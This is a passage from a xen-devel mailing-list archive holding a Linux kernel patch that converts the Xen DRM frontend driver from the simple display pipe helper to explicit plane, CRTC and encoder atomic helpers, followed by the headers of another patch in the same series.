         UMuKgOE60ofrC4szopqvKaWW+HuvqHWtewKY+NJUR11TuOzB3HWyJ+RaOQD9c1w9ww2Y
         S9yQ==
X-Forwarded-Encrypted: i=1; AHgh+RovzHKkgJ9rmqTQa1e0wkMBO7fhNHlXg5iPQjkFkgoAqeKahn6SDYF4o8cv+6dLvOO70GjuXlU0lag=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxDHtpcxJ1QOLlpRs7LwNBMVvAqm7sbTEMbK8PVRjsXjOewq1Mu
	7vQloKpUL8SHm+abRinf30mZXeAX4Ab4VM942iRpYirWFVtILQmcr7VhvgoptUOnHHOFDa0FxGq
	WD1p/p2RrKNzXEqcGabxWabgNxly/uYIwJmxxAbv2C5qt5M4LhHNR3ZIZZRtQF/UtVWp0RA==
X-Gm-Gg: AR+sD11J8EVqtg1/15O42I1m1T0xWX+KWMaWcYWlVhh4W0u4fcC17BsMcsokiNKTtLl
	ZfokWU1JpeXU89hUfO0fEsQ+x/OGV7jsGjywqkUGtLfD6ZdsZoQKRIF9bfsLc3/Mk3L/L6tAbnv
	/u6b0tl+xb6rv07JAFwAgg0RYILZq0SQap+9nO4AehRnNhaNNMN6EPXRiU+AaXstq0HaolNlE2J
	V358DLvGNXqgaNoqGVp69veDMughv0a2ssvcqDYg2+XnkKM8Nwat08cuSzQHH9KlVIjGbDveXZF
	FN29oa40ZZO8hJifJmCsmZMdtc5uGoMVoPA0ZKMA+v2LTFB6bTeelG+QKK3cFWM10JDb8a37C5x
	WtELYMz3FqU+ugs4o6Uei
X-Received: by 2002:a17:90b:1d44:b0:381:28e0:624d with SMTP id 98e67ed59e1d1-38f29613652mr5757545a91.28.1785095200542;
        Sun, 26 Jul 2026 12:46:40 -0700 (PDT)
X-Received: by 2002:a17:90b:1d44:b0:381:28e0:624d with SMTP id 98e67ed59e1d1-38f29613652mr5757521a91.28.1785095200078;
        Sun, 26 Jul 2026 12:46:40 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:45:21 +0800
Subject: [PATCH v3 8/8] drm/xen: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-8-cd5dc89858c6@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095129; l=12894;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=PBi4kPXC6bDPKtTGd5qKGiDifkO/iF7Wup738qwpRwk=;
 b=oinILOU2wbGLYnenfbXSKIYuY97ShWRNCMA98C159D9els3KvEJFV0EOtNDjwTl46s7UQU1oH
 AXM4ZR3zIj+Bsp+yxt1D7aR4Bdwl0q4QKSVjC9zIMUkDziqZf2vfXbJ
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-ORIG-GUID: 4p9saFLZ7Zbyib6NO2cC0sMRwcSuqeBz
X-Authority-Analysis: v=2.4 cv=A8Bc+aWG c=1 sm=1 tr=0 ts=6a666421 cx=c_pps
 a=RP+M6JBNLl+fLTcSJhASfg==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=DJpcGTmdVt4CTyJn9g5Z:22
 a=EUspDBNiAAAA:8 a=ypIeFc3LJoL4UEiODvkA:9 a=QEXdDO2ut3YA:10
 a=iS9zxrgQBfv6-_F4QbHw:22
X-Proofpoint-GUID: 4p9saFLZ7Zbyib6NO2cC0sMRwcSuqeBz
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMSBTYWx0ZWRfX+HJ/VNpxzAZy
 WdEansgk8pNVw4+Fg16kQJ0j5J46Biz53CmCfU7E8PXeve+RjsflSqfaKCTJTTJ4CFeR8NHBgr5
 w8cm1aUIHh1CfQpJErdeRgeKXarTDSG6M6CXamZ6QCCZwqWPuJEINPn0K0jUWy22gczbGHAJNYW
 HQdh5eHv8bmWx88cAUAunxzLnq9ZPC27em07MuUUry5RI2gd4NhnMXKdCpzXAz78zyg8hYafYQz
 h8/VrxhLZnkhhkNDG8BB+idH3M0gzbDeZCFTaLJLQw4ZcZbTxxPhG3UiDSvZEjg+RPmimDqBM7B
 Le9oeNp0E+FTLmu7BjeHY2ZMHx4mCGBUr4Y/mGYDQFZSwGNOmoc0tbMGXl6fPCb6uz8Jo5sWssQ
 YfC1l7FEcriTB5XOwkqDJun4kparURYq4NHTZm9a4fbANqLcFy40RQKuDwoKCuw4KUv+gfFC1YM
 eqTzhT4YcWmZaA5/raA==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMSBTYWx0ZWRfX0Q5Kd6CCqNqU
 py7Tt9oYYRiTFeGmUptBdtEqrhak8+0j2GDCtmqqnCEpZ5pF2K4eFaM9IfV//WjbwPJMdIPufD4
 9I868wT8bC4vB/e1cAIGjDCoQsMgPEs=
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 phishscore=0 suspectscore=0 bulkscore=0 malwarescore=0 priorityscore=1501
 impostorscore=0 adultscore=0 lowpriorityscore=0 spamscore=0 clxscore=1015
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260201
X-purgate-ID: tlsNG-ef75cf/1785095203-35CC7AE4-DF3B5BF5/0/0
X-purgate-type: clean
X-purgate-size: 12896

Replace the Xen frontend simple display pipe with explicit plane, CRTC
and encoder objects for each pipeline.

Keep generic plane-state validation before Xen-specific checks, and
install the GEM framebuffer prepare helper explicitly.

Use commit-local plane state in the CRTC enable path and pass the new
plane source position to the backend mode-set request. Handle pending
page-flip events through the commit-local CRTC state in the plane update
path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>

---
Changes in v3:
- Use commit-local plane state in the CRTC enable path.
- Pass the new plane source position to the xen_drm_front_mode_set.
- Make the container helpers static inline.
---
 drivers/gpu/drm/xen/xen_drm_front.h     |   6 +-
 drivers/gpu/drm/xen/xen_drm_front_kms.c | 188 +++++++++++++++++++++++---------
 2 files changed, 142 insertions(+), 52 deletions(-)

diff --git a/drivers/gpu/drm/xen/xen_drm_front.h b/drivers/gpu/drm/xen/xen_drm_front.h
index a987c78abe41..02138b5abef5 100644
--- a/drivers/gpu/drm/xen/xen_drm_front.h
+++ b/drivers/gpu/drm/xen/xen_drm_front.h
@@ -14,7 +14,7 @@
 #include <linux/scatterlist.h>
 
 #include <drm/drm_connector.h>
-#include <drm/drm_simple_kms_helper.h>
+#include <drm/drm_encoder.h>
 
 #include "xen_drm_front_cfg.h"
 
@@ -100,7 +100,9 @@ struct xen_drm_front_drm_pipeline {
 
 	int index;
 
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 
 	struct drm_connector conn;
 	/* These are only for connector mode checking */
diff --git a/drivers/gpu/drm/xen/xen_drm_front_kms.c b/drivers/gpu/drm/xen/xen_drm_front_kms.c
index 48772b5fe71c..9896ea35b743 100644
--- a/drivers/gpu/drm/xen/xen_drm_front_kms.c
+++ b/drivers/gpu/drm/xen/xen_drm_front_kms.c
@@ -30,10 +30,16 @@
  */
 #define FRAME_DONE_TO_MS	(XEN_DRM_FRONT_WAIT_BACK_MS + 100)
 
-static struct xen_drm_front_drm_pipeline *
-to_xen_drm_pipeline(struct drm_simple_display_pipe *pipe)
+static inline struct xen_drm_front_drm_pipeline *
+xen_drm_pipeline_from_crtc(struct drm_crtc *crtc)
 {
-	return container_of(pipe, struct xen_drm_front_drm_pipeline, pipe);
+	return container_of(crtc, struct xen_drm_front_drm_pipeline, crtc);
+}
+
+static inline struct xen_drm_front_drm_pipeline *
+xen_drm_pipeline_from_plane(struct drm_plane *plane)
+{
+	return container_of(plane, struct xen_drm_front_drm_pipeline, plane);
 }
 
 static void fb_destroy(struct drm_framebuffer *fb)
@@ -94,7 +100,7 @@ static const struct drm_mode_config_funcs mode_config_funcs = {
 
 static void send_pending_event(struct xen_drm_front_drm_pipeline *pipeline)
 {
-	struct drm_crtc *crtc = &pipeline->pipe.crtc;
+	struct drm_crtc *crtc = &pipeline->crtc;
 	struct drm_device *dev = crtc->dev;
 	unsigned long flags;
 
@@ -105,24 +111,21 @@ static void send_pending_event(struct xen_drm_front_drm_pipeline *pipeline)
 	spin_unlock_irqrestore(&dev->event_lock, flags);
 }
 
-static void display_enable(struct drm_simple_display_pipe *pipe,
-			   struct drm_crtc_state *crtc_state,
-			   struct drm_plane_state *plane_state)
+static void xen_drm_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			to_xen_drm_pipeline(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_framebuffer *fb = plane_state->fb;
+	struct xen_drm_front_drm_pipeline *pipeline = xen_drm_pipeline_from_crtc(crtc);
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, &pipeline->plane);
+	struct drm_framebuffer *fb = pstate->fb;
 	int ret, idx;
 
-	if (!drm_dev_enter(pipe->crtc.dev, &idx))
+	if (!drm_dev_enter(crtc->dev, &idx))
 		return;
 
-	ret = xen_drm_front_mode_set(pipeline, crtc->x, crtc->y,
+	ret = xen_drm_front_mode_set(pipeline, pstate->crtc_x, pstate->crtc_y,
 				     fb->width, fb->height,
 				     fb->format->cpp[0] * 8,
 				     xen_drm_front_fb_to_cookie(fb));
-
 	if (ret) {
 		DRM_ERROR("Failed to enable display: %d\n", ret);
 		pipeline->conn_connected = false;
@@ -131,13 +134,13 @@ static void display_enable(struct drm_simple_display_pipe *pipe,
 	drm_dev_exit(idx);
 }
 
-static void display_disable(struct drm_simple_display_pipe *pipe)
+static void xen_drm_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			to_xen_drm_pipeline(pipe);
+	struct xen_drm_front_drm_pipeline *pipeline = xen_drm_pipeline_from_crtc(crtc);
 	int ret = 0, idx;
 
-	if (drm_dev_enter(pipe->crtc.dev, &idx)) {
+	if (drm_dev_enter(crtc->dev, &idx)) {
 		ret = xen_drm_front_mode_set(pipeline, 0, 0, 0, 0, 0,
 					     xen_drm_front_fb_to_cookie(NULL));
 		drm_dev_exit(idx);
@@ -177,12 +180,13 @@ static void pflip_to_worker(struct work_struct *work)
 	send_pending_event(pipeline);
 }
 
-static bool display_send_page_flip(struct drm_simple_display_pipe *pipe,
+static bool display_send_page_flip(struct xen_drm_front_drm_pipeline *pipeline,
+				   struct drm_atomic_commit *commit,
 				   struct drm_plane_state *old_plane_state)
 {
 	struct drm_plane_state *plane_state =
-			drm_atomic_get_new_plane_state(old_plane_state->state,
-						       &pipe->plane);
+			drm_atomic_get_new_plane_state(commit,
+						       &pipeline->plane);
 
 	/*
 	 * If old_plane_state->fb is NULL and plane_state->fb is not,
@@ -193,8 +197,6 @@ static bool display_send_page_flip(struct drm_simple_display_pipe *pipe,
 	 * sent to the backend as a part of display_set_config call.
 	 */
 	if (old_plane_state->fb && plane_state->fb) {
-		struct xen_drm_front_drm_pipeline *pipeline =
-				to_xen_drm_pipeline(pipe);
 		struct xen_drm_front_drm_info *drm_info = pipeline->drm_info;
 		int ret;
 
@@ -224,10 +226,29 @@ static bool display_send_page_flip(struct drm_simple_display_pipe *pipe,
 	return false;
 }
 
-static int display_check(struct drm_simple_display_pipe *pipe,
-			 struct drm_plane_state *plane_state,
-			 struct drm_crtc_state *crtc_state)
+static int xen_drm_plane_helper_atomic_check(struct drm_plane *plane,
+					     struct drm_atomic_commit *commit)
 {
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc_state *crtc_state = NULL;
+	int ret;
+
+	if (plane_state->crtc) {
+		crtc_state = drm_atomic_get_crtc_state(commit, plane_state->crtc);
+		if (IS_ERR(crtc_state))
+			return PTR_ERR(crtc_state);
+	}
+
+	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
+
+	if (!plane_state->visible || !crtc_state)
+		return 0;
+
 	/*
 	 * Xen doesn't initialize vblanking via drm_vblank_init(), so
 	 * DRM helpers assume that it doesn't handle vblanking and start
@@ -242,16 +263,17 @@ static int display_check(struct drm_simple_display_pipe *pipe,
 	return 0;
 }
 
-static void display_update(struct drm_simple_display_pipe *pipe,
-			   struct drm_plane_state *old_plane_state)
+static void xen_drm_plane_helper_atomic_update(struct drm_plane *plane,
+					       struct drm_atomic_commit *commit)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			to_xen_drm_pipeline(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct drm_plane_state *old_plane_state = drm_atomic_get_old_plane_state(commit, plane);
+	struct xen_drm_front_drm_pipeline *pipeline = xen_drm_pipeline_from_plane(plane);
+	struct drm_crtc *crtc = &pipeline->crtc;
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
 	struct drm_pending_vblank_event *event;
 	int idx;
 
-	event = crtc->state->event;
+	event = crtc_state ? crtc_state->event : NULL;
 	if (event) {
 		struct drm_device *dev = crtc->dev;
 		unsigned long flags;
@@ -259,13 +281,13 @@ static void display_update(struct drm_simple_display_pipe *pipe,
 		WARN_ON(pipeline->pending_event);
 
 		spin_lock_irqsave(&dev->event_lock, flags);
-		crtc->state->event = NULL;
+		crtc_state->event = NULL;
 
 		pipeline->pending_event = event;
 		spin_unlock_irqrestore(&dev->event_lock, flags);
 	}
 
-	if (!drm_dev_enter(pipe->crtc.dev, &idx)) {
+	if (!drm_dev_enter(crtc->dev, &idx)) {
 		send_pending_event(pipeline);
 		return;
 	}
@@ -278,19 +300,17 @@ static void display_update(struct drm_simple_display_pipe *pipe,
 	 * If this is not a page flip, e.g. no flip done event from the backend
 	 * is expected, then send now.
 	 */
-	if (!display_send_page_flip(pipe, old_plane_state))
+	if (!display_send_page_flip(pipeline, commit, old_plane_state))
 		send_pending_event(pipeline);
 
 	drm_dev_exit(idx);
 }
 
 static enum drm_mode_status
-display_mode_valid(struct drm_simple_display_pipe *pipe,
-		   const struct drm_display_mode *mode)
+xen_drm_crtc_helper_mode_valid(struct drm_crtc *crtc,
+			       const struct drm_display_mode *mode)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			container_of(pipe, struct xen_drm_front_drm_pipeline,
-				     pipe);
+	struct xen_drm_front_drm_pipeline *pipeline = xen_drm_pipeline_from_crtc(crtc);
 
 	if (mode->hdisplay != pipeline->width)
 		return MODE_ERROR;
@@ -301,12 +321,53 @@ display_mode_valid(struct drm_simple_display_pipe *pipe,
 	return MODE_OK;
 }
 
-static const struct drm_simple_display_pipe_funcs display_funcs = {
-	.mode_valid = display_mode_valid,
-	.enable = display_enable,
-	.disable = display_disable,
-	.check = display_check,
-	.update = display_update,
+static int xen_drm_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_plane_helper_funcs display_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= xen_drm_plane_helper_atomic_check,
+	.atomic_update	= xen_drm_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs display_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_crtc_helper_funcs display_crtc_helper_funcs = {
+	.mode_valid	= xen_drm_crtc_helper_mode_valid,
+	.atomic_check	= xen_drm_crtc_helper_atomic_check,
+	.atomic_enable	= xen_drm_crtc_helper_atomic_enable,
+	.atomic_disable	= xen_drm_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs display_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs display_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static int display_pipe_init(struct xen_drm_front_drm_info *drm_info,
@@ -331,10 +392,37 @@ static int display_pipe_init(struct xen_drm_front_drm_info *drm_info,
 
 	formats = xen_drm_front_conn_get_formats(&format_count);
 
-	return drm_simple_display_pipe_init(dev, &pipeline->pipe,
-					    &display_funcs, formats,
-					    format_count, NULL,
-					    &pipeline->conn);
+	ret = drm_universal_plane_init(dev, &pipeline->plane, 0,
+				       &display_plane_funcs,
+				       formats, format_count,
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+
+	drm_plane_helper_add(&pipeline->plane, &display_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(dev, &pipeline->crtc,
+					&pipeline->plane, NULL,
+					&display_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&pipeline->crtc, &display_crtc_helper_funcs);
+
+	ret = drm_encoder_init(dev, &pipeline->encoder,
+			       &display_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+
+	pipeline->encoder.possible_crtcs = drm_crtc_mask(&pipeline->crtc);
+
+	ret = drm_connector_attach_encoder(&pipeline->conn, &pipeline->encoder);
+	if (ret)
+		return ret;
+
+	return 0;
 }
 
 int xen_drm_front_kms_init(struct xen_drm_front_drm_info *drm_info)

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:54:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:54:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371265.1618909 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4ve-0001zX-T1; Sun, 26 Jul 2026 19:54:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371265.1618909; Sun, 26 Jul 2026 19:54:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4ve-0001zQ-PN; Sun, 26 Jul 2026 19:54:30 +0000
Received: by outflank-mailman (input) for mailman id 1371265;
 Sun, 26 Jul 2026 19:54:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4vd-0001zK-RI
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:54:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4vc-001WSc-Nz
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:54:28 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666560-e002-0a2a0a5209dd-0a2a4509a594-38
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:54:28 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666412-be1a-0a2a45090019-cddcb483534e-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:46:27 +0200
Received: from pps.filterd (m0279870.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QJF1Ih1593823
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:26 GMT
Received: from mail-pj1-f69.google.com (mail-pj1-f69.google.com
 [209.85.216.69])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmn7vbjs5-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:26 +0000 (GMT)
Received: by mail-pj1-f69.google.com with SMTP id
 98e67ed59e1d1-38e7621655eso3815797a91.0
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:46:25 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f03b0eaa8sm4105998a91.8.2026.07.26.12.46.17
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:46:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	qYw7YOevf7R1VaLGJE434uj9XUAJ+efhiT66MYE6HgA=; b=JFD2x2i6i050fq5c
	bDN7bgFtTZ7Sfm5SqUnqFm5eluW8Vk6cS3DMjgDr6v9VexxI+t0aU4tSBtrcAvT7
	I/lyXA43IaigZbmeOXdLWxxGDY9+DlgVAjoGjG+ObeQ71Y69u+RPqFXcUWZACs5d
	c28BQkTmfH5Y82NI96ySJY/gycW7qY2IkWbtJyvXyYN2+cYzvFFY4Ctmw+cn4o5h
	0vPoCRRSR9dkSFYNJLGTKliq5XHgo9Z6fNUAVxOzNPxuIHtTJAoSNL7353yWnify
	EzhMbvNba5KKY0r7lV7Ta4kUeMp5Fw3+4oUSiBQY9VPmf6gsV9dVj7v/URc5Zoe1
	UVJbkA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095185; x=1785699985; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=qYw7YOevf7R1VaLGJE434uj9XUAJ+efhiT66MYE6HgA=;
        b=ZcCg7ZbCM5tiINRvKgK5PrGRhnZvX6yc6QpbhyaA29j3yux1ykBKBxMZq3Vo2noA90
         4Z53ZozZmkmezd/F5kjP3XNjRflqC5KID2c56SS8vDkV58AzSKboA8CBZmRTSymsEymy
         kb+DCp5bm2Ayr4THEwJ1siYkcsyj0uFHC9ySUOUftjoU3cWfkAJd/5SFHyAQ4CDyTLOa
         M85nUCispbmUaRhXKKa1PLFImjMxl7iURNTFF32rj+nwLtlLuxsdxps9ouX9TQ9zIbhV
         5gPxTteFMx0Wp3VfP3dBSQqE5ssB6P1FTzxG2dJW4IgyPKAAGDu742am/3VBOKG7x+T6
         XFZA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095185; x=1785699985;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=qYw7YOevf7R1VaLGJE434uj9XUAJ+efhiT66MYE6HgA=;
        b=E34Cd/GHGw8ECav0TdSThaFKkflmtnoqoFSdW1Ud09dG8JR5hOMahOmxCPN9KlVzHT
         VhZNKfcvyEAS1pBWf8Ib5qzvBIynWtV+OXh3Ceg6JG7UeeCQY9GSdbYO61uLFYZNR7aQ
         vSII85TCILFw/hmYDieijTR/OpBg/gZXyGj/JRqQCFdwzDyqs5PdkCJNCEkICj/jdofZ
         7J1Xj7dx4ULC9YclD4YphDM4XMVBOrlZH6uVWh32zdDM+eGcm1H55NRF1jbtnfyOyLQ8
         /xBHiDThYx+I1IqXVpNJXZvroPaWisGfmrTI+20ijtj1+cC2EgPO0Ew7MgZaoJXzbWk6
         w+VA==
X-Forwarded-Encrypted: i=1; AHgh+RrfHQMLTpO3tlyoxOpdRQvtuyhHdl/5lU913bCok0Ke/QoPIR+aTc5VB2tl/0cAT0R0ULFXz49qG/I=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyoOQ2rkulfvEsUsYsCpOLKnb6eF04alp9iUA7Cslpcp5dJpiaZ
	BsXrXZkkNwVIiO+QTLeZaDjMzagIiRdl1Oom5ug0sYStNM//mq3ctzKzSKFFW9O4l1teG/Jqc85
	ef9sF4JCKXnJ9YjafPEB7dZv61ps4LVFSSliqsb4bd8WzWEgGaOotmaBUKE+137uF81NMqA==
X-Gm-Gg: AR+sD13eUU9Ze6xmUISnvyXFurKCrqBJK7e66cMgJzW46euo2AtOvWjkBDXjfVbQDth
	oa9xXdkA2EAFTXZsfUQNBPTJRbeZfilkJQRf+nt0kVTSeUh4L4lriisu7rJG/0ZsfuBwTlJIBYb
	ugWSE307Q2Avc+HZF16zSe9afxX3Etg20X9YirJmXYPti7ir73UEoc0Dnwrck9dW6QilQ+9cbIP
	CF80HNnWSfduNNch5Fh0EDWZaS9AVSuB4bJ7mjhQtkuXQWcFhXWTKlp+tFuDgnRyuyg03tIAMKc
	BH1jsTpNbFIT25OYFe2IyO2r2SOy0XQfMDdKhZdTOKldQ23YsNfv0uz3aDozL7QuqCGqbx4DBv6
	XEuwne//s1jB6wf7dZSir
X-Received: by 2002:a17:90b:2642:b0:38f:1e1a:5141 with SMTP id 98e67ed59e1d1-38f29620a7emr6222279a91.28.1785095184894;
        Sun, 26 Jul 2026 12:46:24 -0700 (PDT)
X-Received: by 2002:a17:90b:2642:b0:38f:1e1a:5141 with SMTP id 98e67ed59e1d1-38f29620a7emr6222251a91.28.1785095184441;
        Sun, 26 Jul 2026 12:46:24 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:45:19 +0800
Subject: [PATCH v3 6/8] drm/repaper: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
